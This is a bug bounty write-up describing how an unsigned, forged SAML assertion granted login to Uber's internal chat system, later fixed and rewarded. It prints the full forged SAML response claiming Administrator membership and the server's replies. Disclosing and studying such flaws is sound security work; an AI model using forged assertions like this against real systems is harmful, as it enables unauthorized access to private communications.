Uber Bug Bounty: Gaining Access To An Internal Chat System

Uber is an american company which provides ride sharing services over the Internet worldwide.

This post is about a simple, yet pretty severe vulnerability which allowed me to view the company’s internal chat system by abusing their vulnerable SAML implementation.

While searching for assets owned by the company which are in scope for their bug bounty program, I came across the following internal subdomain: https://uchat.uberinternal.com. I was able to find this subdomain by using the https://crt.sh website with the %.uberinternal.com wildcard.

After browsing this subdomain I was prompted with a button suggesting that I should login using the OneLogin SSO:


Since I already tested some Uber properties I guessed that this SSO was put in place in order to be used by Uber’s employees, utilizing SAML. Confirmation for this guess was received when the login button forwarded me to the following endpoint:

https://uchat.uberinternal.com/login/sso/saml

The only way I thought of attacking this implementation would be to create a simple SAML assertion and send it to the same endpoint by using a POST request.

Before proceeding with this post, if you are unfamiliar with SAML SSO I recommend you to visit www.economyofmechanism.com to understand the basics of the SAML SSO flow.

I then set out to send a simple XML with no signature at all, in order to check if their SAML implemention indeed verifies the signature. To do this, I sent the following XML as part of a post request:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R0bdb6f33ef84425aa2782eab4483792762f297df" Version="2.0" IssueInstant="2016-05-04T01:37:34Z" Destination="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfxb75932c2-2e44-d18d-224b-354849a292af" IssueInstant="2016-05-04T01:37:34Z">
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
michael@test
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2016-05-04T01:40:34Z" Recipient="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2016-05-04T01:34:34Z" NotOnOrAfter="2016-05-04T01:40:34Z">
<saml:AudienceRestriction>
<saml:Audience>
php-saml
</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2016-05-04T01:37:33Z" SessionNotOnOrAfter="2016-05-05T01:37:34Z" SessionIndex="_b340ffa0-f3c6-0133-3483-02a5406d9a2f">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
</saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="Email">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
noreply@uber.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
Administrator
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

When sending this SAML to the above endpoint, the server responded unexpectedly – instead of saying that my SAML Assertion was invalid since it didn’t contain any signature (to verify the SAML issuer), it responded with the following:

HTTP/1.1 302 Found

Date: Sat, 22 Apr 2017 08:33:35 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 0

Connection: keep-alive

Server: nginx/1.11.5

Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/

Content-Security-Policy: frame-ancestors ‘self’

Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.

+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat

X-Cluster-Id: X-Frame-Options:

SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr

X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true

I understood that the username field was missing from my assertion so I have added it, and after some more errors (Firstname, and Lastname were also missing) I was actually able to login to the system, without possessing an Uber employee acount:

I was now able to view and access different chat groups of Uber’s employees, spam their channels and potentially login as each of Uber’s employees to any channel, effectively bypassing their authentication scheme.

I immediately reported this to Uber’s security team, who fixed this bug pretty quickly by adding validation of the SAML signature.

Timeline:

Apr 22nd 2017 – Initial report via Hackerone

Apr 25th 2017 – Report needs more info

Apr 25th 2017 – Video sent

Apr 29th 2017 – Report Triaged & 500$ given

May 1st 2017 – Report Resolved

May 1st 2017 – Another 8000$ rewarded